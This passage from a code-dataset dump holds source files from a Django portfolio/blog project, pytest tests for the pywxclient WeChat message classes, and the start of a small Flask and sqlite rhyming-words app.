class=\"top-border learn-top-border\"></div>\n\n </div>\n </div>\n </div>\n{% endblock %}\n\n\n{% block content %}\n <div class=\"row animsition\">\n <div class=\"col-sm-offset-1 col-md-offset-2 col-sm-10 col-md-8\">\n\n <div class=\"post\">\n <h3><a class=\"post-title learn-title\" href=\"{{ note.get_absolute_url }}\">{{ note.title }}</a></h3>\n <h5 class=\"pub-date\">{{ note.pub_date }}</h5>\n <article>\n {{ note.body|safe }}\n </article>\n </div>\n\n </div>\n </div>\n\n <script>\n $(document).on('ready', function(){\n $('.animsition').animsition();\n });\n </script>\n{% endblock %}\n" }, { "alpha_fraction": 0.6547256112098694, "alphanum_fraction": 0.6600610017776489, "avg_line_length": 31, "blob_id": "012cadfbea15dfcc341b0bf8fe75ed961bf942a7", "content_id": "357d5eb28271259d3275d2c9399ba797604e4129", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2643, "license_type": "no_license", "max_line_length": 86, "num_lines": 82, "path": "/article/models.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "# encoding:utf-8\nfrom django.db import models\nfrom colorful.fields import RGBColorField\nfrom django.core.urlresolvers import reverse\n\n\nclass Article(models.Model):\n title = models.CharField(max_length=200)\n body = models.TextField()\n\n class Meta:\n db_table = 'articles'\n verbose_name = 'статя'\n verbose_name_plural = 'статі'\n\n def __unicode__(self):\n return self.title[:30] + '...' if len(self.title) > 30 else self.title\n\n\nclass Post(Article):\n description = models.TextField()\n pub_date = models.DateTimeField(auto_now=True)\n is_translation = models.BooleanField(default=False)\n is_snippet = models.BooleanField(default=False)\n source = models.URLField(blank=True, null=True)\n views = models.IntegerField(default=0)\n tags = models.ManyToManyField('Tag', blank=True)\n\n class Meta:\n db_table = 'post'\n verbose_name = 'пост'\n verbose_name_plural = 'пости'\n\n def get_absolute_url(self):\n if self.is_snippet:\n return reverse('post:snippet_detail', kwargs={'snippet_id': self.pk})\n return reverse('post:post_detail', kwargs={'post_id': self.pk})\n\n\nclass Note(Article):\n category = models.ForeignKey('LearnCategory', related_name='notes')\n description = models.TextField(blank=True, null=True)\n pub_date = models.DateTimeField(auto_now=True)\n\n def get_absolute_url(self):\n return reverse('post:note_detail', kwargs={'note_id': self.pk})\n\n\nclass Tag(models.Model):\n name = models.CharField(max_length=70)\n icon = models.ImageField(upload_to='tags')\n description = models.TextField()\n main_color = RGBColorField(blank=True)\n second_color = RGBColorField(blank=True)\n\n def __unicode__(self):\n return self.name\n\n\nclass LearnCategory(models.Model):\n name = models.CharField(max_length=150)\n description = models.TextField(blank=True, null=True)\n icon = models.ImageField(upload_to='learn', blank=True, null=True)\n parent = models.ForeignKey('self', blank=True, null=True, related_name='children')\n\n def __unicode__(self):\n return self.name\n\n def get_absolute_url(self):\n return reverse('post:learning_detail', kwargs={'learn_id': self.pk})\n\n def child_exist(self):\n return LearnCategory.objects.filter(parent=self).exists()\n\n def get_all_children(self, include_self=True):\n id_list = []\n if include_self:\n id_list.append(self.pk)\n for c in LearnCategory.objects.filter(parent=self):\n for e in c.get_all_children(include_self=True):\n id_list.append(e)\n return id_list\n" }, { "alpha_fraction": 0.6313053965568542, "alphanum_fraction": 0.6392540335655212, "avg_line_length": 28.47747802734375, "blob_id": "5b9c38d5dbd064803a7ff06dc69fbc2d2572ccbf", "content_id": "5b1b9e709db22d96f75351f5132654007d04a510", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3271, "license_type": "no_license", "max_line_length": 109, "num_lines": 111, "path": "/article/views.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, redirect, get_object_or_404\nfrom .models import Article, Post, Tag, LearnCategory, Note\nfrom pure_pagination import Paginator, EmptyPage, PageNotAnInteger, InvalidPage\n\n\ndef home(request):\n return post_list(request)\n\n\ndef post_list(request):\n args = dict()\n\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n\n search_query = request.GET.get('q', '')\n tag = request.GET.get('tag', '')\n posts = Post.objects.filter(is_snippet=False).filter(title__icontains=search_query).order_by('-pub_date')\n if tag and tag.lower() != 'all':\n posts = posts.filter(tags__name=tag)\n p = Paginator(posts, 1, request=request)\n try:\n posts = p.page(page)\n except EmptyPage:\n posts = None\n tags = Tag.objects.all()\n\n args['posts'] = posts\n args['tags'] = tags\n args['current_tag'] = tag\n return render(request, 'article/post_list.html', args)\n\n\ndef post_detail(request, post_id):\n post = get_object_or_404(Post.objects.prefetch_related('tags'), pk=post_id)\n args = dict()\n args['post'] = post\n args['title'] = post.title\n return render(request, 'article/post_detail.html', args)\n\n\ndef snippets_list(request):\n args = dict()\n\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n\n search_query = request.GET.get('q', '')\n tag = request.GET.get('tag', '')\n posts = Post.objects.filter(is_snippet=True).filter(title__icontains=search_query).order_by('-pub_date')\n if tag and tag.lower() != 'all':\n posts = posts.filter(tags__name=tag)\n p = Paginator(posts, 10, request=request)\n try:\n posts = p.page(page)\n except EmptyPage:\n posts = None\n tags = Tag.objects.all()\n\n args['posts'] = posts\n args['tags'] = tags\n args['current_tag'] = tag\n return render(request, 'article/snippets_list.html', args)\n\n\ndef snippet_detail(request, snippet_id):\n snippet = get_object_or_404(Post.objects.prefetch_related('tags'), pk=snippet_id)\n args = dict()\n args['snippet'] = snippet\n args['title'] = snippet.title\n return render(request, 'article/snippet_detail.html', args)\n\n\ndef learning_list(request):\n learning = LearnCategory.objects.filter(parent=None)\n args = dict()\n args['learning'] = learning\n return render(request, 'article/learning_list.html', args)\n\n\ndef learning_detail(request, learn_id):\n learn = get_object_or_404(LearnCategory.objects.prefetch_related('children'), pk=learn_id)\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n notes = Note.objects.filter(category__pk__in=learn.get_all_children()).order_by('-pub_date')\n print notes\n p = Paginator(notes, 10, request=request)\n try:\n notes = p.page(page)\n except EmptyPage:\n notes = None\n\n args = dict()\n args['learn'] = learn\n args['title'] = learn.name\n args['notes'] = notes\n return render(request, 'article/learning_detail.html', args)\n\n\ndef note_detail(request, note_id):\n note = get_object_or_404(Note, pk=note_id)\n args = dict()\n args['note'] = note\n args['title'] = note.title\n return render(request, 'article/note_detail.html', args)" }, { "alpha_fraction": 0.5583941340446472, "alphanum_fraction": 0.5827250480651855, "avg_line_length": 33.25, "blob_id": "728f313edbbc8269d3a1e86e18eda991b92c2f04", "content_id": "d35d21824f65539fbbc5d5df60ca778e5f1f4fc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 822, "license_type": "no_license", "max_line_length": 122, "num_lines": 24, "path": "/article/migrations/0004_learncategory.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('article', '0003_auto_20150917_2014'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='LearnCategory',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=150)),\n ('description', models.TextField(null=True, blank=True)),\n ('icon', models.ImageField(null=True, upload_to=b'learn', blank=True)),\n ('parent', models.ForeignKey(related_name='children', blank=True, to='article.LearnCategory', null=True)),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6448911428451538, "alphanum_fraction": 0.6465661525726318, "avg_line_length": 21.961538314819336, "blob_id": "459c4a6f1eeded013abd979d52a82f357bcfa6cd", "content_id": "9713707b48940adac840d9bbfbe1f3d670da9aca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 597, "license_type": "no_license", "max_line_length": 99, "num_lines": 26, "path": "/article/forms.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "# encoding:utf-8\nfrom django import forms\nfrom ckeditor.widgets import CKEditorWidget\nfrom .models import Article, Tag, Post, Note\n\n\nclass ArticleForm(forms.ModelForm):\n body = forms.CharField(widget=CKEditorWidget())\n\n class Meta:\n model = Article\n fields = ('title', 'body')\n\n\nclass NoteForm(ArticleForm):\n\n class Meta:\n model = Note\n fields = ('title', 'body', 'description', 'category')\n\n\nclass PostForm(ArticleForm):\n\n class Meta:\n model = Post\n fields = ('title', 'body', 'tags', 'description', 'is_snippet', 'is_translation', 'source')\n" }, { "alpha_fraction": 0.5244975090026855, "alphanum_fraction": 0.5314070582389832, "avg_line_length": 36.904762268066406, "blob_id": "5ffacc627e811c1e776ba854430f3b90da4e3b6e", "content_id": "b050b3334069fb24ffd7fc34f61874ce6db44782", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1592, "license_type": "no_license", "max_line_length": 114, "num_lines": 42, "path": "/portfolio/migrations/0001_initial.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('article', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Image',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('image', models.ImageField(upload_to=b'images')),\n ('description', models.CharField(max_length=150, null=True, blank=True)),\n ],\n options={\n 'db_table': 'images',\n },\n ),\n migrations.CreateModel(\n name='Project',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=150)),\n ('description', models.TextField(null=True, blank=True)),\n ('title_image', models.ImageField(null=True, upload_to=b'projects', blank=True)),\n ('web_site', models.URLField(blank=True)),\n ('date_deployed', models.DateField(null=True, blank=True)),\n ('article', models.ForeignKey(blank=True, to='article.Article', null=True)),\n ('gallery', models.ManyToManyField(to='portfolio.Image')),\n ('tags', models.ManyToManyField(to='article.Tag')),\n ],\n options={\n 'db_table': 'projects',\n },\n ),\n ]\n" }, { "alpha_fraction": 0.7407407164573669, "alphanum_fraction": 0.7629629373550415, "avg_line_length": 26.200000762939453, "blob_id": "3d0a1571b3120346bb313e97534fbb9576ba3eb7", "content_id": "dda5bfba6f6f3891f9ed65490e6b0608bed805ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 135, "license_type": "no_license", "max_line_length": 64, "num_lines": 5, "path": "/portfolio/views.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, redirect, get_object_or_404\n\n\ndef home(request):\n return render(request, 'portfolio/home.html')" }, { "alpha_fraction": 0.808080792427063, "alphanum_fraction": 0.808080792427063, "avg_line_length": 18.799999237060547, "blob_id": "b9e2a22a295a11b1ebfdd69430aedccac37a9e89", "content_id": "d8c2bce460e1cf7b73e7929e4f1633a9a3b1c12b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 99, "license_type": "no_license", "max_line_length": 34, "num_lines": 5, "path": "/portfolio/admin.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Project, Image\n\n\nadmin.site.register(Project)\n" }, { "alpha_fraction": 0.6388059854507446, "alphanum_fraction": 0.6388059854507446, "avg_line_length": 50.53845977783203, "blob_id": "536d6a64ec8bee624b588a58d7e25b3e739d2c87", "content_id": "76f7d139bf605b4a53f6897c1037a8d2effaacf4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 670, "license_type": "no_license", "max_line_length": 93, "num_lines": 13, "path": "/article/urls.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\nimport views\n\nurlpatterns = [\n url(r'^$', view=views.home, name='home'),\n url(r'^post/$', view=views.post_list, name='post_list'),\n url(r'^post/(?P<post_id>\\d+)/$', view=views.post_detail, name='post_detail'),\n url(r'^snippet/$', view=views.snippets_list, name='snippets_list'),\n url(r'^snippet/(?P<snippet_id>\\d+)/$', view=views.snippet_detail, name='snippet_detail'),\n url(r'^learn/$', view=views.learning_list, name='learning_list'),\n url(r'^learn/(?P<learn_id>\\d+)/$', view=views.learning_detail, name='learning_detail'),\n url(r'^learn/note/(?P<note_id>\\d+)/$', view=views.note_detail, name='note_detail'),\n]\n" }, { "alpha_fraction": 0.5244371294975281, "alphanum_fraction": 0.5293794870376587, "avg_line_length": 30.956140518188477, "blob_id": "b1bcc6a0852988a21cf8a1921d7d35d1fe72c93d", "content_id": "e1603cfc8c869728b4ebb00ae5b400aac0c1cb51", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3642, "license_type": "permissive", "max_line_length": 95, "num_lines": 114, "path": "/assets/static/js/styling.js", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "document.addEventListener(\"DOMContentLoaded\", pageLoad);\n\nfunction pageLoad(){\n styleInit();\n var tags = document.getElementsByClassName('tag');\n for(var i=0; i<tags.length; i++){\n tags[i].addEventListener('click', tagOnclick)\n }\n}\n\nfunction styleInit(){\n var path = document.location.pathname;\n var page = document.getElementsByClassName('page')[0];\n var current = document.getElementsByClassName('current')[0];\n var next = document.getElementsByClassName('next')[0];\n var prev = document.getElementsByClassName('prev')[0];\n\n var footerLinks = document.getElementsByClassName('footer-link');\n var i;\n if (path.indexOf('snippet') !== -1){\n if(page){\n page.className += ' page-s';\n current.className += ' current-s';\n next.className += ' next-s';\n prev.className += ' prev-s';\n }\n for (i=0; i<footerLinks.length;){\n footerLinks[i].className = 'nav-link-s';\n }\n }else if (path.indexOf('learn') !== -1){\n if (page){\n page.className += ' page-l';\n current.className += ' current-l';\n next.className += ' next-l';\n prev.className += ' prev-l';\n }\n }else if (path.indexOf('post') !== -1){\n for (i=0; i<footerLinks.length;){\n footerLinks[i].className = 'nav-link';\n }\n }\n}\n\nfunction hasClass(element, cls) {\n return (' ' + element.className + ' ').indexOf(' ' + cls + ' ') > -1;\n}\n\n\nfunction tagOnclick(){\n var location = window.location;\n var tags = document.getElementsByClassName('tag');\n var tagAll = document.getElementById('tag-all');\n var i;\n switch (location.pathname){\n case '/snippet/':{\n console.log('click');\n if (hasClass(this, 'tag-snippet-active')){\n this.className = this.className.replace(/\\btag-snippet-active\\b/,'');\n tagAll.className += ' tag-snippet-active';\n }else {\n for(i=0; i<tags.length; i++){\n tags[i].className = tags[i].className.replace(/\\btag-snippet-active\\b/,'');\n }\n this.className += ' tag-snippet-active';\n document.location.search = insertParam('tag', this.innerHTML);\n }\n }break;\n case '/post/':{\n if (hasClass(this, 'tag-blog-active')){\n this.className = this.className.replace(/\\btag-blog-active\\b/,'');\n tagAll.className += ' tag-blog-active';\n }else {\n for(i=0; i<tags.length; i++){\n tags[i].className = tags[i].className.replace(/\\btag-blog-active\\b/,'');\n }\n this.className += ' tag-blog-active';\n document.location.search = insertParam('tag', this.innerHTML);\n }\n }break;\n default: break;\n }\n}\n\nfunction searching(){\n window.location.pathname = '/post/';\n var path = document.location;\n var searchString = document.getElementById('search-field').value;\n path.search = insertParam('q', searchString);\n}\n\nfunction insertParam(key, value) {\n key = encodeURI(key); value = encodeURI(value);\n var kvp = document.location.search.substr(1).split('&');\n var i=kvp.length;\n var x;\n while(i--)\n {\n x = kvp[i].split('=');\n if (x[0]=='page'){\n kvp[i] = '';\n }\n if (x[0]==key)\n {\n x[1] = value;\n kvp[i] = x.join('=');\n break;\n }\n }\n\n if(i<0) {\n kvp[kvp.length] = [key,value].join('=');\n }\n return kvp.join('&');\n}" }, { "alpha_fraction": 0.6804932951927185, "alphanum_fraction": 0.6872197389602661, "avg_line_length": 28.733333587646484, "blob_id": "c096dc6d628c952ac4f20283b319b3f788a2f7df", "content_id": "7d551d83b2c0f246afbdb295c1ccf18420ea2fc3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 892, "license_type": "no_license", "max_line_length": 80, "num_lines": 30, "path": "/portfolio/models.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom article.models import Article, Tag\n\n\nclass Project(models.Model):\n name = models.CharField(max_length=150)\n description = models.TextField(blank=True, null=True)\n title_image = models.ImageField(upload_to='projects', blank=True, null=True)\n article = models.ForeignKey(Article, blank=True, null=True)\n tags = models.ManyToManyField(Tag)\n gallery = models.ManyToManyField('Image')\n web_site = models.URLField(blank=True)\n date_deployed = models.DateField(blank=True, null=True)\n\n class Meta:\n db_table = 'projects'\n\n def __unicode__(self):\n return self.name\n\n\nclass Image(models.Model):\n image = models.ImageField(upload_to='images')\n description = models.CharField(max_length=150, blank=True, null=True)\n\n class Meta:\n db_table = 'images'\n\n def __unicode__(self):\n return self.image.name\n" }, { "alpha_fraction": 0.7237903475761414, "alphanum_fraction": 0.7237903475761414, "avg_line_length": 34.42856979370117, "blob_id": "134b997f34ef1a6d8378c340ee2fd78f404a5104", "content_id": "c937388b6a8ef37e9cddadce81a26f7681e6d543", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 496, "license_type": "no_license", "max_line_length": 82, "num_lines": 14, "path": "/blog/urls.py", "repo_name": "AlexVoitenko/myportfolio", "src_encoding": "UTF-8", "text": "from django.conf.urls import include, url\nfrom django.contrib import admin\nimport settings\n\nurlpatterns = [\n url(r'^admin/', include(admin.site.urls)),\n url(r'^ckeditor/', include('ckeditor.urls')),\n url(r'^', include('article.urls', namespace='post')),\n]\n\nif settings.DEBUG:\n from django.conf.urls.static import static\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n" } ]
15
JuneXieWK/pywxclient
https://github.com/JuneXieWK/pywxclient
aa4d80a6f30e5ef9e7bb4dd0cd248806f64ed8a1
c5cb6505f4a851e348d1593b8c2fb583c7605530
d419111f98b896b3188a0f74558ebc2929245fc0
refs/heads/master
2021-05-14T03:47:54.449158
2018-01-03T03:17:43
2018-01-03T03:17:43
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5278856754302979, "alphanum_fraction": 0.5583346486091614, "avg_line_length": 42.19462966918945, "blob_id": "523163c21dedeb65f4fa4780b2fce3e20d5485d3", "content_id": "77001f70bfa63e2508277b7320c0b29ce446b242", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6461, "license_type": "permissive", "max_line_length": 79, "num_lines": 149, "path": "/tests/test_message.py", "repo_name": "JuneXieWK/pywxclient", "src_encoding": "UTF-8", "text": "\nimport pytest\n\nfrom pywxclient.core.message import TextMessage, ImageMessage, FileMessage\n\n\nclass TestMessage:\n\n @pytest.mark.parametrize(\n 'from_user, to_user, message', (\n ('@aaaa', '@bbbbb', 'haahahha'),\n ('@fwewf', '@swefewfwe', 'heeheheh'),\n ('@swfewwf', '@wjwejrjwe', '你好')))\n def test_text_message(self, from_user, to_user, message):\n msg = TextMessage(from_user, to_user, message)\n\n assert msg.from_user == from_user\n assert msg.to_user == to_user\n assert msg.message == message\n\n msg_value = msg.to_value()\n assert msg_value['FromUserName'] == from_user\n assert msg_value['ToUserName'] == to_user\n assert msg_value['Content'] == message\n assert msg_value['Type'] == msg.msg_type\n\n with pytest.raises(AttributeError):\n msg.new_attr = 'attribute value'\n\n @pytest.mark.parametrize(\n 'msg_value', (\n {'MsgId': '12123', 'FromUserName': '@aaaa', 'ToUserName': '@bbbb',\n 'Content': 'hello', 'CreateTime': 1423423234},\n {'MsgId': '121232', 'FromUserName': '@ccc', 'ToUserName': '@ddd',\n 'Content': '你好', 'CreateTime': 1423423234123},\n {'MsgId': '121232', 'FromUserName': '@ccc', 'ToUserName': '@ddd',\n 'Content': '你好', 'CreateTime': '1423423234123'}))\n def test_parse_text_message(self, msg_value):\n msg = TextMessage.from_value(msg_value)\n\n assert msg.msg_id == msg_value['MsgId']\n assert msg.from_user == msg_value['FromUserName']\n assert msg.to_user == msg_value['ToUserName']\n assert msg.message == msg_value['Content']\n assert msg.create_time == int(msg_value['CreateTime'])\n assert msg.check_ack_status()\n\n @pytest.mark.parametrize(\n 'from_user, to_user, media_id', (\n ('@aaaa', '@bbbbb', 'sfwefwfwefw'),\n ('@fwewf', '@swefewfwe', 'sfwefwefw'),\n ('@swfewwf', '@wjwejrjwe', 'sfwefwefew')))\n def test_image_message(self, from_user, to_user, media_id):\n msg = ImageMessage(from_user, to_user, media_id)\n\n assert msg.from_user == from_user\n assert msg.to_user == to_user\n assert msg.message == ''\n assert msg.media_id == media_id\n\n msg_value = msg.to_value()\n assert msg_value['FromUserName'] == from_user\n assert msg_value['ToUserName'] == to_user\n assert msg_value['MediaId'] == media_id\n assert msg_value['Type'] == msg.msg_type\n\n with pytest.raises(AttributeError):\n msg.new_attr = 'attribute value'\n\n @pytest.mark.parametrize(\n 'msg_value', (\n {'MsgId': '121231', 'FromUserName': '@aaaa', 'ToUserName': '@bbbb',\n 'Content': '', 'MediaId': '@adwwefw', 'CreateTime': 1423423234},\n {'MsgId': '121231', 'FromUserName': '@aaaa', 'ToUserName': '@bbbb',\n 'Content': '', 'MediaId': '@adwwefw', 'CreateTime': '1423423234'},\n {'MsgId': '1223121', 'FromUserName': '@ccc', 'ToUserName': '@ddd',\n 'Content': '', 'MediaId': '@afwfwfw',\n 'CreateTime': 1423423234123})\n )\n def test_parse_image_message(self, msg_value):\n msg = ImageMessage.from_value(msg_value)\n\n assert msg.msg_id == msg_value['MsgId']\n assert msg.from_user == msg_value['FromUserName']\n assert msg.to_user == msg_value['ToUserName']\n assert msg.message == ''\n assert msg.media_id == msg_value['MediaId']\n assert msg.create_time == int(msg_value['CreateTime'])\n assert msg.check_ack_status()\n\n @pytest.mark.parametrize(\n 'from_user, to_user, media_id, name, size, ext, message', (\n ('@aaaa', '@bbbbb', 'sfwefwfwefw', 'a.pdf', 1231, 'pdf', 'jah'),\n ('@fwewf', '@swefewfwe', 'sfwefwefw', 'g.gif', 123, 'gif', '哈哈'),\n ('@swfewwf', '@wjwejrjwe', 'sfwefwefew', 'x.png', 12, 'png',\n 'lele')))\n def test_file_message(\n self, from_user, to_user, media_id, name, size, ext, message):\n msg = FileMessage(\n from_user, to_user, media_id, name, size, ext, message=message)\n\n assert msg.from_user == from_user\n assert msg.to_user == to_user\n assert msg.message == message\n assert msg.media_id == media_id\n assert msg.filename == name\n assert msg.filesize == size\n assert msg.fileext == ext\n\n msg_value = msg.to_value()\n assert msg_value['FromUserName'] == from_user\n assert msg_value['ToUserName'] == to_user\n assert media_id in msg_value['Content']\n assert msg_value['Type'] == msg.msg_type\n\n with pytest.raises(AttributeError):\n msg.new_attr = 'attribute value'\n\n @pytest.mark.parametrize(\n 'msg_value, name, size, ext', ((\n {'MsgId': '1212', 'FromUserName': '@aaaa', 'ToUserName': '@bbbb',\n 'MsgType': 49, 'AppMsgType': 6,\n 'Content': (\n '<msg><appmsg appid=\"wx6618f1cfc6c132f8\" sdkver=\"0\"><br/>\\t<'\n 'title>haaha.pdf</title><appattach><br/><totallen>14235648</'\n 'totallen><br/>\\t\\t\\t<attachid>@adwqqw12</attachid><fileext>'\n 'pdf</fileext></appattach></appmsg></msg>'),\n 'MediaId': '@adwwewewer', 'CreateTime': 1423423234}, 'haaha.pdf',\n 14235648, 'pdf'), (\n {'MsgId': '121234', 'FromUserName': '@aaaa',\n 'ToUserName': '@bbbb', 'MsgType': 6, 'Content': (\n '<appattach><br/><filename>呵呵.png</filename><filesize>'\n '142356</filesize><br/>\\t\\t\\t<attachid>@adwqqw12'\n '</attachid><fileext>png</fileext></appattach>'),\n 'MediaId': '@adwwewewerssfwf', 'CreateTime': 142342322422344},\n '呵呵.png', 142356, 'png'))\n )\n def test_parse_file_message(self, msg_value, name, size, ext):\n msg = FileMessage.from_value(msg_value)\n\n assert msg.msg_id == msg_value['MsgId']\n assert msg.from_user == msg_value['FromUserName']\n assert msg.to_user == msg_value['ToUserName']\n assert msg.message == msg_value['Content']\n assert msg.media_id == msg_value['MediaId']\n assert msg.filename == name\n assert msg.filesize == size\n assert msg.fileext == ext\n assert msg.create_time == int(msg_value['CreateTime'])\n assert msg.check_ack_status()\n" }, { "alpha_fraction": 0.635108470916748, "alphanum_fraction": 0.6785010099411011, "avg_line_length": 22, "blob_id": "822a4e29a76301d2c6270ba27df3785a25195e7c", "content_id": "d476dedcbf04f5584ba49463d3cffb43cfc48d43", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 507, "license_type": "permissive", "max_line_length": 95, "num_lines": 22, "path": "/CHANGELOG.md", "repo_name": "JuneXieWK/pywxclient", "src_encoding": "UTF-8", "text": "\nChanges\n=======\n\n0.1.1 (2017-12-13)\n-------------------\n\n * Fix insistent return start position when uploading video file.\n\n * Add parsing filename in Content-Disposition header field.\n\n\n\n0.1.0 (2017-09-17)\n-------------------\n\n * Add support for wechat authorization, login, logout.\n\n * Add support for fetching wechat contact information.\n\n * Add support for synchronizing wechat message including common messages and contact changes.\n\n * Add support for sending message such as text, image, file.\n" } ]
2
Adarshb2000/rhymes
https://github.com/Adarshb2000/rhymes
36ea24a1511f15d1142ce36dcd89908860a85d0b
b95658dacbcca9f4eee93926b4458ec9dcc4646f
f33fb05147762807064875ec22deb85965e14145
refs/heads/main
2023-08-26T03:14:43.107750
2021-11-02T09:42:40
2021-11-02T09:42:40
311,153,519
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6910299062728882, "alphanum_fraction": 0.7076411843299866, "avg_line_length": 26.363636016845703, "blob_id": "318c5068f10128f3e823bd3da878784a3c2a850e", "content_id": "b87098adae6e6746ecd3c5a867f8760d70149f4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 301, "license_type": "no_license", "max_line_length": 101, "num_lines": 11, "path": "/meanings.py", "repo_name": "Adarshb2000/rhymes", "src_encoding": "UTF-8", "text": "import sqlite3\n\nconn = sqlite3.connect('database/rhymes.db')\ndb = conn.cursor()\n\nwith conn:\n db.execute(\"CREATE TABLE Meanings (word varchar(200) PRIMARY KEY UNIQUE NOT NULL, meaning text)\")\n # db.execute(\"DROP TABLE Meanings\")\n pass\n\n# print(db.execute(\"SELECT * FROM Meanings\").fetchall())\n" }, { "alpha_fraction": 0.6970546841621399, "alphanum_fraction": 0.7082749009132385, "avg_line_length": 30.04347801208496, "blob_id": "57c2aaab7fd26b15b4a8805c585bf482071f449a", "content_id": "8243171e254fedfb32a1d1296b8cafc01749c599", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 713, "license_type": "no_license", "max_line_length": 154, "num_lines": 23, "path": "/rhymingwords.py", "repo_name": "Adarshb2000/rhymes", "src_encoding": "UTF-8", "text": "import sqlite3\n\nconn = sqlite3.connect('database/rhymes.db')\ndb = conn.cursor()\n\n# default_value = 'ISAIASSAISIAASIAIS'\n\nwith conn:\n # db.execute(\"CREATE TABLE RhymingWords (id INTEGER PRIMARY KEY UNIQUE NOT NULL DEFAULT 0)\"); db.execute(\"INSERT INTO RhymingWords (id) VALUES ('0')\")\n # db.execute(\"DROP TABLE RhymingWords\")\n # db.execute(f\"ALTER TABLE RhymingWords ADD COLUMN 'aya' varchar(100) DEFAULT '' \")\n pass\n\n\n# print(db.execute(\"PRAGMA table_info('RhymingWords')\").fetchall())\n\n# \n# conn.commit()\n#db.execute(\"SELECT id FROM RhymingWords WHERE \")\n\n# print(db.execute(\"SELECT id FROM RhymingWords WHERE aya = '' LIMIT 1\").fetchone())\n\nprint(db.execute(\"SELECT * FROM RhymingWords\").fetchall())" }, { "alpha_fraction": 0.7136150002479553, "alphanum_fraction": 0.7300469279289246, "avg_line_length": 41.70000076293945, "blob_id": "dd030584f180871224b3281c8c515a284dd7eed7", "content_id": "c954936d7d8e20ea3059b97eb4d499eec7416ae4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 426, "license_type": "no_license", "max_line_length": 152, "num_lines": 10, "path": "/reset.py", "repo_name": "Adarshb2000/rhymes", "src_encoding": "UTF-8", "text": "import sqlite3\n\nconn = sqlite3.connect('database/rhymes.db')\ndb = conn.cursor()\n\nwith conn:\n db.execute(\"DROP TABLE RhymingWords\")\n db.execute(\"DROP TABLE Meanings\")\n db.execute(\"CREATE TABLE RhymingWords (id INTEGER PRIMARY KEY UNIQUE NOT NULL DEFAULT 0)\"); db.execute(\"INSERT INTO RhymingWords (id) VALUES ('0')\")\n db.execute(\"CREATE TABLE Meanings (word varchar(200) PRIMARY KEY UNIQUE NOT NULL, meaning text)\")" }, { "alpha_fraction": 0.5795502662658691, "alphanum_fraction": 0.5842172503471375, "avg_line_length": 31.30137062072754, "blob_id": "e0873ca75049d248ac68817b34a0a089d85f5dbe", "content_id": "b3a2ca20498cd88707ee4bf9d228442b9d3559df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2357, "license_type": "no_license", "max_line_length": 123, "num_lines": 73, "path": "/app.py", "repo_name": "Adarshb2000/rhymes", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, redirect, request\nimport sqlite3\n\nconn = sqlite3.connect('database/rhymes.db', check_same_thread=False)\ndb = conn.cursor()\n\nwith conn:\n conn.row_factory = lambda cursor, row: str(row[0])\n db_row = conn.cursor()\n\n\napp = Flask(__name__)\n\[email protected]('/')\ndef index():\n return render_template('index.html')\n\[email protected]('/add_words', methods=['GET', 